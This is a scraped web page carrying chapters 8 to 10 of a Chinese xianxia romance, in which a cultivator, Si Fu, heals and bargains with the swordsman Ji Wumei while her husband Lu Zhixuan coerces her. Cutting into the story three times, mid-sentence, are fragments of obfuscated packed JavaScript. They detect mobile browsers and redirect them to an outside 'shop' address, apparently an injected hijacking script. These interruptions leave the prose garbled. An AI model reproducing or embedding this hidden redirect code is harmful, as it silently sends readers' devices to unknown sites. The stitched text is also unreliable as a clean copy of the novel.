l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269990|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚它价值几何。这些法器无论是你离开姒家前藏着的,还是进玄善门后得来的,若是让贪婪的父亲或姒家知晓,你猜他们会怎么做?” 姒芙在阵器两门道法上天赋卓绝,早年她将两者结合,制作出能将阵法威力增至数倍乃至数十倍的“阵中器”,借此将日渐式微的姒家重新拉回四大世家之首。 整个中州对阵中器极为向往,更因炼制不易,价格高昂。 姒芙还想反驳,就听陆之轩报出了一个地址:“飞东城中南街第四座宅子,是你的吧?东西就藏在里头,对不对?” 不知不觉他已查得如此详细?姒芙神色陡然一冷,冷得似山巅上常年不化的玄冰。 “姒芙,你如此有能耐,救一个人又有何难?现在我还有心跟你商议,是因为我没把你当成普通的‘废物’。” 风声啸啸,荷叶上是无声对峙,远处一列大雁飞过,高亢的鸣叫划破两人之间坚硬的沉默。 姒芙骤然缓下脸色,好似败下阵来一般,低低道:“好,我应你救寂无寐,你也不必用那些法宝来要挟我。” 见他妥协,陆之轩勾唇一笑,“早听话些,何必费劲跟我演那么一轮?多麻烦。”他心情好了不少,还知道出言提醒她,“出门匆忙,你披件外衫,莫给风吹出了病。” 姒芙此时才发觉身上冻成了冰,默不作声从储物袋中取出一件大氅,裹在身上。 头上一暖,陆之轩轻抚着她披散的乱发,感叹了一句:“可怜你没了修为,要与凡人一样御寒,世上最怕你这等怀揣宝物又无力自保之人。” 一字一句,是告诫也是威胁。 姒芙冷漠地望着下方山景,沉默不语。 一炷香后,两人抵达别院,陆之轩要跟进来,姒芙讥诮道:“我会救寂无寐,你不必盯着我。” 陆之轩脚步顿了顿,正要开口,腰间玉牌突然亮了两息。 陆之轩取下玉牌凝神听了片刻,极不情愿道:“父亲有令,我得先行离开一趟。” 姒芙暗暗松了一口气,陆之轩斜眼盯着她,眼神明明灭灭。 此时的他,莫名有股耐人寻味的阴沉气息。 姒芙整理着被风吹乱的墨发,若无其事道:“怎的?怕我会食言吗?” 陆之轩短促笑了一声,不轻不重弹了一下腰间悬挂的长剑,伴着一声轻响,他道:“希望我回来时,寂无寐已摆脱危机。” 对于他的威胁,姒芙无动于衷,等陆之轩再次离去,她静望着天边黑点消失不见,沉默几许,才缓缓推门而入。 病危的人躺在榻上,眉头紧锁,双目紧闭,似是极为痛苦,小门童坐在床边一心为他擦拭额上冷汗,急得快哭出来,矜矜业业的专注连她进门都未察觉。 姒芙靠在门边盯了一阵,片刻才出声,“小童儿,你去门外守着,我来救他。” 小门童吓了一跳,一见是她,又听清她所说,仿佛见到了救星,甩下巾帕跑过来,“医修大人,是你!” 姒芙迈步向寂无寐走去,嘱咐道:“走前记得关门,你在外守着,别放任何人进来。” 小门童连连点头,姒芙矮身坐下,侧首看向即将迈出房门的小童,又着重强调了一遍,“记住,无论是谁,都不许靠近。” 小门童一顿,随即坚定地应了一声“好”。 碍事的人皆已离开,姒芙盯着昏迷不醒的寂无寐良久,漠然地从储物袋中掏出一枚红色药丸,丢入床头香炉。 甜腻的香味飘荡而出,榻上之人眉头渐松,彻底陷入昏睡。 姒芙又倒出一枚药丸含入口中。 这是她研制出来的迷药,能迷倒六重修为的修士,焚之是迷药,服之是解药。 取出一个白瓷瓶,将一整瓶丹药悉数灌进嘴里,皱着眉将药丸一一咽下。 服完一堆乱七八糟的药,姒芙才慢条斯理撩开他的衣襟,取出挂在胸口的塑月。 寂无寐知晓塑月该放在心口的位置,却不知,塑月真正催动之时,该贴在腹部。 她两指点在塑月之上,口中默念,本是与凡人无异的“修士”,指尖突然流窜出一条澄澈绚烂的流光。 塑月吸饱了灵力忽然华光大作,一瞬间笼罩寂无寐周身。 流光不断,光华不消,榻上之人却愈发痛苦,全身抖动起来。 姒芙跪上榻,使出浑身劲力按住他。 塑月虽是温养身体的法宝,可经她改造后,修复经脉时极为霸道,常人难以忍受。 姒芙仔细操控着灵力,感受着灵力在他周身游走,找见受损的经脉并覆上一层薄膜。 穿过塑月的灵力并非普通灵力,可惜仍是个半成品,对经脉修复速度极其缓慢,但对于现在的寂无寐而言,阻隔妖气侵扰已足够。 简单的治疗持续整整一个半时辰,且损耗不小,光芒消散时,姒芙胸腹急喘,额上爬满了细细密密的汗珠。 眼见他脸上重归血色,姒芙松了口气,握着失而复得的塑月,得意一笑就要抽身离去。蓦地手腕一紧掌心一空,整个人霎时伏倒下来。 一抬眼,见寂无寐不知何时醒来,双眼明澈地盯着她,而塑月正在他指间随意把玩。 姒芙一惊,瞥了眼床头还在缭绕着烟雾的香炉。 他怎么醒了? 姒芙去夺塑月,塑月却骤然消失在他手中。 “你!” 他紧攥着她挣扎的手腕,借力靠坐而起,唇角一勾,缓缓笑了,“抓到了,你这个骗了所有人的小骗子。” 8.谧山忽闻惊鹊声 姒芙五指成爪掐向他脖颈,寂无寐闲闲一挡,手腕一翻,指尖捏住她脉门,顺势将人摁入床榻,“你还剩余多少灵力与我抗衡?” “寂无寐!你不是要死了吗?为何迷药对你没有用?” “啊,你难道忘了?我体质有些特殊,药与毒对我只有三分药性。” 姒芙惊怒,哪怕只剩三分药性,他也不该醒得如此之快,除非……除非他现在有三重修为! 在姒芙的印象里,寂无寐缠绵病榻,修为尽失,说两句话都要缓一缓,全然一副重伤难愈的病秧子模样,从未想过他会隐藏修为。 “你骗我是想知道塑月的真正用法?为你恢复修为?” “非也,”寂无寐轻轻笑了两声,微垂下头,散开的青丝倾泻而下将她罩住,自成一方小天地。 他缓缓开口,细细低语, “我用塑月,探的是你。姒芙,你可否告诉我,经脉被毁如同凡人的姒家长女,为何可以调用灵力?” 忽然一股强劲灵力自她脉门而入,急速爬过四肢百骸,姒芙顿时痛叫出声。 异样的灵力从她周身游走一圈,比针扎还难受,姒芙刚使用过灵力的经脉顿时阵痛欲裂。 然而一个呼吸间,灵力骤然停歇,有如涓涓泉水缓缓流淌,抚慰着方才的疼痛。 姒芙力竭急喘,咬牙切齿:“寂无寐!” “别怕,不过是探了下你的经脉,顺便帮你抚慰了下旧伤。” 姒芙冷嗤,“不需要。” “你经脉何时修复的?”寂无寐指尖顺着她的脸颊缓缓而下,停在腹部,“丹田怎还是坏的?” “你想让我回答哪个?” 不待寂无寐开口,姒芙冷然道:“无论你想知道什么,”微微仰首,娇媚一笑:“我都不会告诉你。” 腹上一疼,又是一股尖锐的灵力灌入,姒芙当即浑身震颤,尖叫出声,“寂无寐,你不如杀了我!” 不过两息灵力又骤然抽离,取而代之是他温暖的掌心,轻轻覆盖在丹田所在位置。 他眉头微皱,“果然坏得很彻底。” 姒芙大口喘息,经过两遭灵力试探,眼前已变得模糊不清,“寂无寐,你到底想要什么,何苦这般折磨我。” “想知道我要什么?”他轻轻擦拭着她额间的冷汗,柔柔笑道:“不告诉你。” 他重新俯身拥住她,像往日那般轻拍着她的脊背,“累不累?若累了,我先陪你歇一歇。” “你滚开!” 对于她的厉声喝骂,寂无寐包容一笑,“看来还有些力气,那便与我说说话。” 说着将榻上被褥一拎,盖住二人。 他拥着姒芙,贴得紧紧密密,好似抱住的是一枚珍宝,轻怜重惜。 曾经在冒儿山时,两人虽然是分房别住,偶尔姒芙为他彻夜疗伤,疲惫不堪了,便会倒在痛晕的寂无寐身边,囫囵对付一觉。 起先,寂无寐伤重,每每醒来她还要为他收拾一番,后来寂无寐逐渐好转,大半时候醒得更早,也不闹她,不声不响靠在床头安静地看她买来的闲书。 两人相处三载,却极少会像现在这般亲密无间。 姒芙没有岁月静好的闲心与他攀谈,一口啃上他的肩膀,似一只发怒的小兽,“放开我。” 寂无寐抚摸着小兽乱糟糟的青丝,轻柔如风的语气似在纵容胡闹的幼崽:“让我猜猜,丹田被毁,无法储藏灵力,那便是用丹药催生?可以调用灵力了,便能做许多事……” 姒芙齿尖磨着他的肉,可惜方被狠狠折腾了一遭,力气有限,只啃出两排牙印。 “无丹田只有经脉,修为未恢复,催生的灵力有限,你不敢让人知晓,是在忌惮谁?” 姒芙调出仅存的一点微末力量,一心一意咬着他。 寂无寐轻微调整了下角度,更方便她用力,“你擅长的是绘阵制器,嗯,如今还学会了丹药,真聪明,”他在她头顶轻轻一吻,爱怜道:“有灵力便能炼制法宝和阵器,无修为自保,又是稀世之才,简直是绝妙的傀儡。姒芙,我数了一圈,想抓走你的人实在太多了。” 他抚摸着她的眼尾,爱若珍宝:“要不要跟我走,嗯?” 姒芙终于松了口,冷笑一声,“寂无寐,就你这破败身子,护不住我。” “况且,你只是个宗门小剑修,拿何跟各大势力抗衡?” 寂无寐一顿,随即低低一笑,“你说的对,我只是个小剑修,自然没能力与世家和宗门抗衡。” “但若……我帮你脱离玄善门呢?” 姒芙一怔,终于抬头直视向他。 他的瞳仁有如水珠蒙雾,总有轻纱笼着似的,只有在极近的距离下,才能窥见他眼瞳并非深浓的玄黑,而是掺了分模糊的墨绿色,有如幽冥暗夜里的青山,沉寂且神秘。 所以惑人。 “你厌恶玄善门,厌恶这场联姻。你先别反驳我,曾经翱翔于天的鹰怎愿意龟缩在鸡棚,只是一朝落难能力有限,你在等,等一个机会。” 寂无寐眼里淬着闪烁光芒,有如黑夜里唯一闪耀的启明星,“姒芙,我可以成为你这个机会,要不要考虑利用我?” 她凝视着寂无寐良久,平静问:“你想如何帮我?” “当先之计,”寂无寐贴上她的额头,两人宛若情人低语,“得劳烦你,先用塑月帮我恢复修为。” 姒芙缓缓笑了,她真心而笑时猫儿眼半眯,眼尾上挑成春色,衬得明媚的五官艳色横生。 “等你恢复修为,再偷摸带我离开玄善门?” “偷摸也好,光明正大也罢,你喜欢何种方式,我便用那种方式,只要你肯跟我走。” “寂无寐,你处心积虑来寻我,到底是为了什么?为了让我炼器?还是修阵?” 寂无寐低低一笑,“你想猜一猜吗?” 姒芙冷笑,“猜中了你会承认吗?”长指绕上他的脖颈,徐徐画着圈,好似在寻找脖子上最薄弱的那一处动脉。 寂无寐笑容渐深,“不会。” 姒芙缠绕在他脖上的弱点,他恍若未觉,只静静与她对视。 眼前这个人仿佛活在雾里,明明近在咫尺,却总感觉不到他的存在。 姒芙不喜欢这种捉摸不透的感觉。 所以她讨厌他,且越来越讨厌。 姒芙考虑起来,她深思的时候脸色很静,静得像孤夜悬挂的明月,指尖还在萦绕,漫不经心。 寂无寐也不催促,有一搭没一搭抚弄着她的乱发。 无声的较量在彼此之间绷成了一条弦。 床头炉内香丸燃烬,“滋”的一声熄了火,好似终于烧断了那根弦。 “好,寂无寐,我应你。” 她手指停在一根血管之上,还未做什么,寂无寐握住她的柔夷,放在唇边轻吻。 “芙儿乖,日后就要辛苦你了。” 低沉的嗓音里裹着她的名字,在舌尖缭绕,情深意切,可两指却捏在她脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282864|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门之上。 他们彼此,明明谁也不信谁,却做下了口头交易。 姒芙确定了,寂无寐出现的如此凑巧,就是为了塑月而来,也许还掺杂了其他目的。 她不信他,姒芙从不相信任何人,也不依靠任何人。 更何况眼前这个不知深浅的无名剑修。 …… 陆之轩回来时,姒芙正靠在窗边懒懒喝着蜜饮子。 两人隔窗对视了一眼,姒芙厌倦的侧过身,一副拒人千里之外的模样。 陆之轩脸皮厚,站在窗边一手摸着她的头顶,好声好气问了一句:“人救回来了?” 若不是头顶那只手蓄满灵力,姒芙都要笑他转了性子,会对她和颜悦色。 强忍着躲避的冲动,姒芙娇俏问:“若没救回来,你是不是要就地杀了我?” 陆之轩笑了笑,轻声道:“你怎将我想得如此不堪,我还不至于为了救命恩人,去处置姒家人。” 姒芙蔑笑一声,不再理会。 陆之轩抬眼向屋内一望,原本靠在床头闭眼假寐的寂无寐,听见响动睁眼看过来。 见他清醒,陆之轩脸色一转,忙跳窗而入,满脸关切:“寂公子!你大好了?” 寂无寐淡淡“嗯”了一声,“多亏姒小姐出手相助。” 陆之轩大喜,伸手就要探他的脉,寂无寐借故拂开,又道:“可惜只是暂时摆脱危机……” 陆之轩顿时闻弦知意,忙道:“无妨,我让芙儿日日来帮寂公子疗伤。” 姒芙面无表情搁下茶盏,她就知道,寂无寐不让她离开,就是等着唬下陆之轩,让她光明正大给他疗伤。 陆之轩这个色令昏智的玩意,转头就假模假样吩咐她:“芙儿,你定是愿意帮夫君这个忙,对不对?” 一声“芙儿”叫出了她满身鸡皮疙瘩,盯着陆之轩隐含告诫的眼神,讥诮一笑,从善如流回:“夫君有所求,妾身怎能不应?” 这傻子,自己中了寂无寐的计还浑然未觉。 陆之轩满意点头,操劳了一整日的事终于解决,他放下心,又关怀着寂无寐的伤势,话没个停歇,满屋子都是他碎碎叨叨的声音。 寂无寐随意应了几声,依旧是那副不怎么热络的模样。 可陆之轩看不懂脸色似的,甘之若饴。 姒芙被他吵得脑仁子疼,忍了许久,才道:“妾身外出许久,再不回宗,只怕婆母要责问了。” 陆之轩此时才想起来,她是被他带下山的,总不能再让她靠着一双脚走回宗里。 于是遗憾地对寂无寐道:“寂公子,你先好好歇息,明日我再让芙儿过来为你疗伤。”又补了一句:“我近日事忙,无法日日前来探看,还望寂公子莫怪。” 姒芙睁眼望天,他不来吵他,寂无寐不知道有多高兴,跟谁稀罕他这个烦人精似的。 寂无寐表现得非常善解人意,“陆公子事忙,是寂某耽误了公子。” “你这话可就太见外了。”说着又想拉着寂无寐寒暄一顿,姒芙没耐心道:“夫君,婆母约了妾身今日制香,莫要再耽搁了。” 陆之轩回返的脚步一顿,才依依不舍跟寂无寐话别。 两人再次坐上那片硕大的荷叶,寂无寐隔窗望着陆之轩离去的身影,浅浅一笑。 傻?真傻,假傻,陆之轩此人虚虚实实,姒芙这个小笨蛋只剥下一层表象。 可他不一样。 他最爱跟自作聪明的人打交道了。 9.谧山忽闻惊鹊声 临近东山除妖之期,陆之轩作为统领人,近日变得非常忙碌,几乎瞧不见人影。 百忙之余,他甚是“贴心”为她求了道母命,说征战在即,希望姒芙去城中道观为他祈福祝祷。门主夫人闻言喜上眉梢,欣然答应。 姒芙受陆之轩“胁迫”,不得不日日前往别院,为寂无寐疗伤。 与上回疗伤不同,姒芙不再亲自催动,而是教寂无寐用自身灵力引导塑月,修复经脉。 她不敢再接近他。 画舫上,他用她的手,将自己打得命悬一线,救他时,他又擒住她的脉门,套出了她的秘密。 两年未见,这个人已变得太危险,与冒儿山那个万事顺从的小剑修判若两人。若不是长得一样,姒芙简直以为自己认错了人。 也不知是他这两年遭遇了什么,还是说,他本就如此阴晴不定? 一道目光飘来,朝她轻轻柔柔一笑,寻常的笑意在眼中都成了挑衅。姒芙再无法心平气和,不知不觉手中的本子攥出了褶子。 她撇开脸,泄愤般写写画画,不想寂无寐却悄无声息靠了过来。 他扫了眼纸页上凌乱潦草的鬼画符,勾唇一笑,“你倒将我当成试验品了。” 册子上密密麻麻,正记录着塑月灵力流转的动向。 本是一句再普通不过的玩笑,姒芙蓦地心口一紧。 不动声色收好册子,“塑月能力有限,我总得仔细观察才方便改进,这样你才恢复得更快。” “都说中州姒家长女灵心慧性,乃千年难得一见的天才,世人却不知你私底下勤勉用心,倒忽略了你的努力。” 姒芙不甚在意,世故老成道:“世人只看表象,只取成果,谁又在乎你付出多少?” “要走了吗?” 姒芙“嗯”了一声,任务完成,她何必多留?斜眼看他,“你耗时越来越长,莫不是在故意拖延?” “芙儿误会我了,我岂是那种拖沓之人?” 姒芙嗤笑一声,根本不信。 又应付完一日,姒芙懒洋洋起身,昨日配了一壶甜滋滋的蜜饮子,酿了一夜味道正好,她得赶着回去细细品尝。 寂无寐起身相送,贴着她走了两步,忽而目光投向窗外,脸上神色静了半刻,低头靠在她耳侧,意味深长道:“芙儿,做事需三思而后行,否则行差踏错,容易露马脚。” 他靠得近,温热的气息裹满了耳朵,姒芙一个激灵,捂着耳朵跳开两步,“你在说什么乱七八糟的玩意。” 寂无寐轻轻勾着她飞扬的青丝,“我在提醒你呀,你总让我不大放心。” 姒芙躲开他的手,转身就走,他时不时亲近又时不时说些高深莫测的话语,姒芙对于他的故弄玄虚见怪不怪,遂没放在心上,“莫名其妙,我懒得听,明日午后我再过来。” 寂无寐懒懒与她道别,眼神飘荡在院中春景,低喃了一句,“午后吗?说不定,你会早些与我相见。” 姒芙两步走远,并未听清。 鹿车慢慢悠悠回到玄善门时已过了午膳,闲暇之余,弟子们正满山头的消食耍闹。姒芙方跳下车,头顶呼啸而过几道风声,就见几名内门弟子纵着云向山下飞去。 姒芙瞥了一眼,各个脸上洋溢着蠢蠢欲动,一见就知道不干好事。 玄善门弟子仗着一身修为,欺压城下百姓之事屡见不鲜,姒芙本不欲理会,可今日不知怎的,经过两名女修身旁时,她鬼使神差莫名问了一句:“他们这五六个着急忙慌的,是又要去信花楼白喝花酒,还是要去南风馆找小乐伶听曲?” 女修们一见是她,先是一怔,面面相觑一眼,蓦地发笑。 其中一人捏着嗓子状似恭敬道:“少主夫人,你怎么还这般悠哉悠哉的啊?” 姒芙皱眉,跟她有什么关系? 见她一无所知,相携的另一名女修幸灾乐祸道:“门主夫人听闻少主别院里那个‘外室’没被你赶走,发了好一通脾气。” 姒芙一愣,女修睨着姒芙,一唱一和:“可不是,在自己屋子里骂了一上午‘废物’,砸了好些个茶盏,连进屋收拾的婆子都挨了两句骂。” 女修见姒芙没什么反应,乐呵呵继续讥笑着:“门主夫人气得不轻,亲自派了一帮弟子去处置那个‘外室’。少主夫人,你不若先躲躲?一会门主夫人见了你,还不知又要怎么埋汰你呢。” 两人咯咯笑了起来,神色愈发轻蔑。 姒芙面无表情转身走回鹿车,重新向山下行去。 婆母是怎么发现的?谁跑到她跟前嚼的舌根?玄善门这一帮子谄媚示好无事生产的废物,天天净不干人事! 两年时间她早看得清清楚楚,玄善门并非没能力除妖,留着周围大大小小的妖可劲地闹腾,有妖作乱便出手摆摆样子,敲打一番,却不肯真的灭杀。 只因把妖除干净了,辖地内的居民还有谁愿意给他们上供? 这次东山除妖也是,那几只大妖若不联合周围几个门派是无法剿灭的,可玄善门偏要单打独斗。这般大张声势就是给下面人和姒家做做样子,又骗了富户们一波上供,私底下还不知道昧下多少银钱。 最早玄善门尚不富足时,做事还没有这么无法无天,可自她联姻嫁过来,玄善门从姒家得到一大笔襄助,反而激发了他们贪婪的本性。尝过甜头便越来越没底线,越来越肆无忌惮,更养了一帮无事生非的无用弟子,从内至外腐烂透了。 姒芙看不惯玄善门,也不理解姒家,以姒家无利不起早的作风,为何会看重一个偏远之地的小宗门?那帮扶之意,简直予取予求,不计后果地养肥了一堆蛀虫。 一开始她以为是继母跟她不对付,所以暗中不遗余力促成这场联姻,如今却越想越不对劲。 姒芙思索一路,百思不得其解,回神时发现鹿车已停在别院门口。收了思绪,望向别院富丽堂皇的门头,她略一踌躇,忽而脚步一转,登上旁边一座茶楼的三层雅间。 茶小二要上前伺候,姒芙将人挥退,推开窗扉向下望去,正好望见别院景致。 院中寂无寐正在池塘边钓鱼,也不知真钓假钓,鱼竿摆在脚边,自己则躺在竹椅上悠闲地晒太阳。 他闭着眼,似睡非睡,日光直愣愣照在头顶也不嫌刺眼,九尾锦鲤时不时在脚边炸出绚烂水花,他也不赏,那随遇而安的模样宛如避世山间的高人。 姒芙方靠上窗棂,便见一帮弟子笑笑闹闹姗姗来迟,他们行走间摇曳不定,显然是拿着门主夫人的赏银,先去饮了几壶酒。 姒芙从兜里取出一袋糖丸,丢进嘴里磕了起来。 那糖丸不似普通糖丸,贝齿一咬,微弱的灵气散逸而出,是专门熬制给自己补身子的。 那堆人大张旗鼓从正门闯入,随手将守门的小童往大街上一丢。小童哭哭啼啼闹将起来,他们也不理会,直闯进寂无寐所在的院子。 寂无寐听见声响,眼皮一掀。 弟子们见着寂无寐的模样先是一怔,随后想起他的“身份”,一边调笑着,一边抽出腰间长剑。 斩妖除魔的剑,在他们手中仿佛戏子手里的绸缎,软趴趴肆意挥舞,隔着老远都感受到那股子轻慢。 当先一人一脚踩在躺椅扶手上,轻浮浪荡,“小郎君,知你‘伺候’少主辛苦,可这不是你该呆的地儿,挪挪你娇贵的‘尊臀’,跟我们兄弟几个走一趟吧。” 说罢,那剑慢悠悠向寂无寐的脸拍去。 寂无寐缓缓坐起身,躲开轻佻的剑叶,温温淡淡的目光在几人脸上一一扫过,清浅一笑,“我若不肯配合呢?” “那就莫怪我们兄弟几个不懂‘怜香惜玉’,对你用强,你一身细皮嫩肉的,还是懂事些好。”那人哈哈大笑,另一名弟子笑得更是讥诮:“一个以色侍人的玩意还有脾气呢?想赖着不走?” “我等奉门主夫人之命‘请’你离开,便是少主也忌惮三分,公子若不想遭罪,还是配合些好。”众人身后一名卷发弟子好心提醒了一句。 寂无寐状似了然点了点头,“原是门主夫人呐。” 他慢条斯理捡起脚边青竹鱼竿,“可寂某等的不是门主夫人,只怕要再住一阵子。” “什么污糟玩意,敬酒不吃吃罚酒!”领头之人闻言眉头一皱,软乎乎的剑顿时刺了过去。 也没看清寂无寐怎么动的手,那鱼竿尖端霎时抽在领头之人脸上,打得那人一懵。 姒芙磕糖丸的动作一顿,站直了身子。 她向来耳聪目明,可方才那一招,快如闪电,连寂无寐抬手的动作都未捕捉到。 这是她第一次见寂无寐出手,快得让她心惊。 几人见状齐齐攻去,寂无寐未动用灵力,脚步挪腾,信步躲闪,脸上保持着闲适。 久攻不下,他们好似终于发觉眼前之人不是普通的平民百姓,于是掐诀念咒,剑身覆上一层流火。 几人摆下阵型将寂无寐包围,一声令下拔地而起,成围剿之势向他压过去。 姒芙紧紧盯着,他手中的鱼竿忽而消失了一般,不过一个转身,那群人霎时倒地不起。 她上半截身子几乎探到窗户外,却仍未看清他怎么出的手。 小剑修?到底是几重修为的小剑修?哪宗哪派的小剑修? 姒芙活了两百多年,为研制阵器,她博学百家,各大宗门的剑法路数如数家珍,可她从未见过寂无寐的剑法。 快,快得无踪无影,捉不到头尾! 寂无寐立在一众倒地之人之中,身姿拔擢,连嘴角的笑容都未变过一分。 信步闲庭,缓缓跨过众人,那领头之人忽而一把握住他的脚踝。 寂无寐一顿,垂眼看下,那人忽而阴邪一笑,一条缚灵锁从他袖中急射而出。 姒芙见他欲抽离的脚一滞,瞬息被缚灵索锁缠了个严严实实。 “是我小瞧了你。”领头之人一把掼倒没了灵力的寂无寐,一脚踩在他胸口,局势急转直下。 姒芙眉头一皱,眼神凝在地上的寂无寐,方才还出手如疾风的人怎么就突然中了招? “莫要挣扎了,这是门主的缚灵索,能锁住七阶大妖,你再有能耐也挣脱不了。” 领头之人得逞一笑,招呼了一句:“兄弟们,给我揍!” 几人一拥而上,泄愤般拳拳入肉。 “不过一个给人玩的兔儿爷,还想反抗我!”领头之人最是卖力,边打边骂,满口的污 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291330|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言秽语。 灵力被封,寂无寐无法反抗,不过片刻嘴角被打出了血。 红艳艳的鲜血蜿蜒而下,将他出尘俊秀的面庞衬出一分破碎的美感。 领头之人拳头一滞,突然好似被蛊惑一般,双目迷离了一瞬。 旁边有人见他停手,喊了他一声,他骤然回神,盯着寂无寐被鲜血映衬的妖冶面容,陡然邪邪一笑。 他直起腰,一手盖在腰带上,不怀好意道:“你不是很有能耐么?敢还手?不如让我等见识见识你的‘能耐’。” 方才好心提醒的卷发弟子猛地一愣,一把拉过领头人,“吴祥!门主夫人只命我们将他赶走,你这是要做什么!” 吴祥突然昏了头一般,甩开他,“怎么的?他不过是被少主骑的软骨头,少主碰得我就碰不得?” 卷毛一惊,顿时与他争执起来。 而姒芙,在见到寂无寐流血的那一刻猛然冲出雅间,一把拉过门外守候的小二,急急吩咐了几句。小二听了吩咐,懵然道:“客官,你这是……” 姒芙掏出一枚沉甸甸的金锭塞在他手里,“别问!快去!闹的越大越好!” 小二顿时喜不自胜,忙不迭“欸”了一声,噔噔噔跑下楼。 姒芙在门口雅间转了两圈,一咬牙拿出面纱覆在脸上,也跟了过去。 别院里,吴祥还在跟卷毛争执不休,忽而院外有人高喊,“哎呀!这大门怎么敞着?这不是玄善门少主的院子吗?这都有人敢闯?” 小门童还坐在大街上哭,见是隔壁茶楼的小二,嘶声裂肺叫嚷起来,“玄善门的人闯了少主院子,郎君……郎君……你快救救郎君!” 小二嗓门大,疑惑问:“郎君?哦!你说是救了少主一命的救命恩人呐,怎么的?玄善门的弟子怎敢不给少主面子,连恩人都欺负?” 话音一落,霎时引来一众人群。 有略知几分原委的邻居听见声响跑出来,一见这阵仗怪叫起来,“怎的了?玄善门少主要易主了?连救命之恩都不放眼里?” “里头不是少主豢养的外室吗?怎就成了救命恩人?” “哎呀,你不知道吗?”有知情者说出寂无寐以命救下陆之轩之事。 群众听后一片哗然,沸腾道:“这玄善门不做人事,竟是这般对待救命恩人?” “对啊,以少主那眦睚必报的性子,到时候还不知怎么处置这几个小弟子呢!” 人群沸反盈天,民众本就苦玄善门已久,一时骂玄善门的,骂陆之轩的,各种抨击之词汹涌飘来,越骂越没了边际。 卷毛一见事情闹大,横眉冷对:“夫人本让我们悄摸将人送走,如今却闹成这个模样,若是让少主和门主知晓,你我怎么收场!” 吴祥酒劲终于醒了,暗道不妙,随手指向一名弟子,怒道:“愣着做什么,还不快出去解释!” 弟子被吼得摸不着头脑,解释?解释什么啊?他们不就是来干这缺德事的吗? 那弟子迷茫一瞬,吴祥猛踢他一脚,“废物!” 他略整衣衫,只好亲自去门口收拾乱象。 送个人却闹成这样,今日怕是难以善了。卷毛见吴祥离开,蹲下身亲手解开缚灵索,他盯着伤重不起的寂无寐,嘴唇开合几番似想说什么,最终只叹了一声,对身后一招手:“走吧。” 这人别说赶了,如今闹这么大,是碰也不能碰了。几人大张旗鼓的来,又悄无声息的走。 寂无寐眼睑半敛,闷咳了两声,喉头滚动咽下半口血沫。那几人下了狠手,他的旧伤又复发了。 捂着钝痛的胸膛,许是重伤难耐,瘫坐在地上动也不动。眼前突然闯进一双精美鸟兽花纹的绣鞋,顺着金丝绣线纹路而上,烈日之下晃出一个俏丽的身影。 她沉默地望着他,阳光太过刺眼,刺眼地看不清她背光下的眼神,直到她缓缓蹲下身,与他平行而视。 平静的目光里含着一丝冷。 “为什么不还手?” 寂无寐似想笑,却咳出了一口血。 鼻尖缭绕过一股独特异香,姒芙眼眸暗淡了一瞬,下意识抹去他嘴边残血,又倏地清明,手下之人气息紊乱,妖力乱窜,往他口里塞入一枚药丸,连点胸口几处穴道,手法熟练且有条理。 “缚灵索,我躲不过。”他任她摆布。 “你骗我。”姒芙见识了寂无寐的身手,明显在那几人之上。 “姒芙,妖力未除,动用灵力只会加重我的伤。”他虚弱回应,目光一瞬间变得柔和,“用了灵力,岂不是白费你这几日的辛劳?” 姒芙一顿,仔仔细细端详他,他目光认真近似虔诚,含着让人动容的真切。她蓦地嗤笑,“我会信吗?” 寂无寐只是笑看着她,伸手缓缓揭下她的面纱,“我不喜欢你对我遮面。” 指尖触上她柔软的脸颊,轻柔擦拭被面纱压出的浅淡红痕,“信也好不信也罢,姒芙,我也有顾此失彼的时候。” 姒芙凑近,脸上笑着,眼神却是冷的,“寂无寐,我不知你在谋划什么,但你做事如此瞻前顾后,” 她一手伸进寂无寐衣襟,摸到了一枚月牙玉石,徐徐道:“你不配与我合作。” 10.明月别枝骤雨倾 寂无寐温柔望着她,平平静静,似在包容她做出的所有选择。 姒芙不喜欢这个眼神,他所有的心思都深埋在这副和煦的面容之下,深不可测。 她至今未能撕开他的伪装,连一根真实面目的狐狸毛都没抓到。 本就没指望靠他离开玄善门,那何必再跟这虚伪之人,虚与委蛇? 她的目的,只有塑月。 姒芙目光停留在他不再流血的唇角,缓缓站起,转身离去。 “姒芙……” 他好似唤了她一声。 “你又要抛下我了吗?” 姒芙脚步未停,走得很干脆。 藏在月洞门口的小门童一见她要离开,冲出来一把抱住她的腿,哭嚎起来:“医修大人,你怎么……怎么就走了?怎么不救救郎君?” 姒芙眉头一皱,下意识要踢开他,又突然想起他那个小身板经不住,冷喝:“放手!” 小门童与她几次接触,许是觉得她好说话,抱着不肯撒手:“不放!医修大人,你就行行好,救救郎君吧!” “我与他非亲非故,为什么要救?” “医修救人,哪分什么亲故,你能救,为何不救?” “我不是医修。”姒芙冷冷开口。 小门童一愣,反应过来被姒芙欺骗,蓦地大哭,更加无理取闹:“我不管你是不是,但你能救郎君,怎么能把他丢下不管?” 姒芙没了耐心,一把拎起他的衣领子丢到一旁,大步行去。 谁知,那小门童不屈不挠又缠了上来,这回他下了死手,紧紧攥着姒芙的衣摆死也不肯松,姒芙走得快,不小心将他拖行了两步。 “你!” 